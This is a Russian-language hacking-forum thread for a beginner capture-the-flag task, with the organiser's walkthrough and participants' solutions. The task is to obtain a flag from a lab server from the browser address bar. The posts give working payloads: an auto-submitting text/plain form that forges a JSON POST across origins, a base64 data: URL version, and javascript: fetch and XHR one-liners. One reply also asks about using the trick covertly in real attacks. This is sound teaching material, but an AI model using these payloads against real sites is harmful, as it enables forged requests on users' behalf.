Task # Task #13

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 13 Feb 2021.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Fetch.png

    Идея заданий родилась в закрытых разделах, но похоже и в паблике есть к этому некоторый интерес.
    Правила понятные, механизм отладили, можно пускать это дело на самотек.

    Хотя остается проблема "первых двух ступенек", т.е. нужны простые задания, которые можно выполнить с начальными навыками на форуме.
    А вот их приготовить замеетно сложнее, чем хардкорные, как ни странно.
    На начальном этапе изюминки почти неразличимы на фоне общих трудностей самого процесса познания.
    Прокачавшись, трудно заставить себя постить простенькие вещи, вроде как не твой уровень.

    Пробую этот пробел заполнять, и вот очередная попытка:
    посмотрите аттач к заданию, в нем html страничка, которая пытается получить флаг, правда неудачно.

    Есть простые способы получить этот флаг, поэтому сам флаг не интересует и приниматься будут не все способы, а только некоторые.
    А именно:
    - нельзя использовать прокладки (дополнительные скрипты, сайты, прокси)
    - решение должно уместиться в строке браузера
    - вызов должен быть непосредственно на task.antichat.com:10013
    - проверять решение буду в браузерах Firefox и Chrome

    Задание:
    Таргет: http://task.antichat.com:10013
    Найти и прочитать флаг.
    Ответы присылайте в ПМ форума, интересует не сам флаг, а прохождение.

    Срок:
    две недели.


    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.


    Прошли:
    ii445888

    Baskin-Robbins
    - нашел три способа решить задание!
    Hulkus - особенность в Firefox
    Go0o$E



    Прохождения:
    https://forum.antichat.ru/threads/482941/#post-4448252
     

    Attached Files:

    #1 dooble, 13 Feb 2021
    Last edited: 27 Feb 2021
  2. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Картинка про CORS - обыкновенная подсказка.
     
    4Fun and Baskin-Robbins like this.
  3. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Задание предназначено в первую очередь для начинающих и указатель на CORS нужен для сокращения времени поиска направления решения.
    Смотрим, там точно есть способ, которым решается задание, останется потыкать в реализацию.
     
    4Fun and Baskin-Robbins like this.
  4. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    ii445888 на подходе, практически зарешал, осталось оформить правильно.

    Ну и вот простой способ достать флаг,
    эмулируем запрос, который делается в приаттаченном файле
    Code:
    curl -H "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
    Только этот результат нужно получить в браузере.
     
    4Fun and Baskin-Robbins like this.
  5. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Baskin-Robbins нашел альтернативное решение, срабатывает в Firefox.
     
  6. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Baskin-Robbins нашел не просто решение таска, похоже он наковырял багу в Firefox.

    И следующий хинт:
    про адресную строку может быть не очень понятно, что решение должно уместиться в ней.
    Просто вспомните, браузеры поддерживают не только http:// протокол, но и множество других, в некоторых будет удобно набрать решение.
     
    4Fun and crlf like this.
  7. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    А вот интересно, проверяет ли сервер заголовок "Content-Type: application/json"?
    Смотрим:
    Code:
    curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
    Флаг отдается!

    Упс, заголовок не проверяется и мы можем использовать способ отправить запрос, когда CORS игнорируется.
     
  8. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    "Простой запрос" может быть сделан через <form>, без каких-то специальных методов.
    Но формы не предназначены для отправки json-запросов.
    - заголовок "Content-Type: application/json" не разрешен
    - данные передаются в другом формате.

    Но с заголовками мы вроде разобрались.
    А данные как передать в json-формате?
    Или все-таки можно?
     
    4Fun likes this.
  9. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Наверное последнее, чем можно еще помочь:
    если трудно набрать решение в адресной строке - приму html код, который выведет флаг на странице.
     
  10. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    До закрытия таска осталось немного времени.
    Тем, кто попал в таблицу решивших задание, просьба отписать в топике - законное право победителя, ну и просто для поднятия конуса :).
     
  11. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Задание закрыто.

    Прохождение:


    Смотрим приаттаченный скрипт, в нем делается запрос на адрес http://task.antichat.com:10013 и ответ выводится на страницу.
    Собственно - это вполне рабочий вариант, когда файл помещен на сайт задания, для проверки можно открыть его по адресу http://task.antichat.com:10013/task13.html.
    Но когда выполняем его с другого хоста, в т.ч. и с localhost, браузер блочит ответ, если посмотреть в девелоперской панели:
    Code:
    Запрос из постороннего источника заблокирован: Политика одного источника запрещает чтение удаленного ресурса на http://task.antichat.com:10013/. (Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»).
    Картинка в задании говорит, что самое время вспомнить про CORS, или почитать типа https://learn.javascript.ru/fetch-crossorigin.

    Начинаем исследовать, curl равнодушен к SOP, поэтому потыкаем таргет, эмулируя запрос из файла задания:
    Code:
    curl -iH "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
    
    флаг получен, цель понятна, нужно выполнить запрос в браузере.
    Но браузер будет упорно сопротивляться.
    Сервер с заданием не отдает заголовки для кросс-доменных запросов, облом, браузеры давно уже имеют защиту от таких попыток.
    Можно поискать какой-нибудь зиродейчик, можно попробовать залиться, но легко не будет, не простое задание получится.
    Поэтому ищем чего-то другое.

    Вот тут пора обратить внимание, что html-формы (как и curl) - "можно отправлять куда угодно", это древний механизм, созданный задолго до появления всяких сетевых политик и он их просто не замечает.
    Это хорошо, но есть пара проблем:
    - формы не умеют отправлять заголовок "Content-Type: application/json"
    - не умеют отправлять данные в формате json, а другие форматы сервер с заданием не принимает.

    Пробуем заточить под наши нужды.
    Проверяем, обязателен ли заголовок "Content-Type: application/json"
    Code:
    curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
    флаг отдается, значит заголовок не обязателен, ковыряем json-строку.

    Надо сформатировать отправку данных так, чтобы она стала валидной json-строкой, в которой будет кусок "operation":"GetFlag".
    Например:
    Code:
    <html>
    <body onload='document.forms[0].submit()'>
        <form method='POST' enctype='text/plain' action="http://task.antichat.com:10013">
            <input type="hidden" name='{"operation":"GetFlag","(.)(.)":"' value='"}'>
        </form>
    </body>
    </html>
    На сервер уйдет пакет
    Code:
    POST / HTTP/1.1
    Host: task.antichat.com:10013
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Content-Type: text/plain
    Content-Length: 38
    Connection: close
    
    {"operation":"GetFlag","(.)(.)":"="}
    
    Видим флаг.

    Теперь по поводу решения в адресной строке браузера - вообще не проблема, просто штатное использование протокола data:URL
    data:text/html, и дальше наш html-текст копипастом.

    Часто используют base64 кодирование

    берем
    Code:
    <body onload='document.forms[0].submit()'>
        <form method='POST' enctype='text/plain' action="http://task.antichat.com:10013">
            <input type="hidden" name='{"operation":"GetFlag","(.)(.)":"' value='"}'>
        </form>
    </body>
    енкодим в base64
    Code:
    PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo=
    знаки равенства в конце base64-строки можно отбросить

    Code:
    data:text/html;base64,PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo
    
    Вставляем в адресную строку - видим флаг.

    Прохождения участников:



    [/quote]
     
    #11 dooble, 27 Feb 2021
    Last edited: 28 Feb 2021
    4Fun, joelblack, fandor9 and 3 others like this.
  12. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    807
    Reputations:
    212
    Вариант для Chrome.
    Открываем task.antichat.com:10013 в url вписываем:
    Code:
    javascript:data = {'operation': 'GetFlag'};fetch('http://task.antichat.com:10013', {method: 'POST',body: JSON.stringify(data),}).then(r=>r.text()).then(d=>alert(d));
    
    К слову о вкладке network в firefox.
    Подобное поведение было замечено не на всех Gecko браузерах, такое же поведение
    присутсвовало в waterfox, но не было замечено в comodo icedragon и Pale Moon.
    Также подобное можно увидеть на ныне заброшеном проекте orbitum(Blink), где в отличии
    от огнелиса я наблюдал 100% вывод. Это наводит на мысль, что возможно эта фича
    присутсвовала и в старых версиях хрома.

    Ну и раз затронул тему "маленьких" браузеров отмечу, что при запросе из data://
    через fetch или XMLHttpRequest в большинстве браузеров Origin будет null, но
    браузер SeaMonkey унаследует его из текущей вкладки. Поэтому решение таска
    возможно схожим с javascript:... образом для chrome, но @dooble его бы не засчитал:

    Code:
    data:text/html,<script>data = {'operation': 'GetFlag'};var url = 'http://task.antichat.com:10013';var xhr = new XMLHttpRequest;xhr.open('POST',url,false);xhr.send(JSON.stringify(data));alert(xhr.responseText);</script>
    
     
    4Fun, seostock, Spinus and 1 other person like this.
  13. neur0funk

    neur0funk Member

    Joined:
    9 May 2018
    Messages:
    22
    Likes Received:
    18
    Reputations:
    12
    А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video
     
  14. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    807
    Reputations:
    212
    Лично я, на текущий момент, не вижу вектора именно скрытого использования.
    Хотя, надо подумать.
     
    #14 Baskin-Robbins, 3 Mar 2021
    Last edited: 3 Mar 2021
    seostock likes this.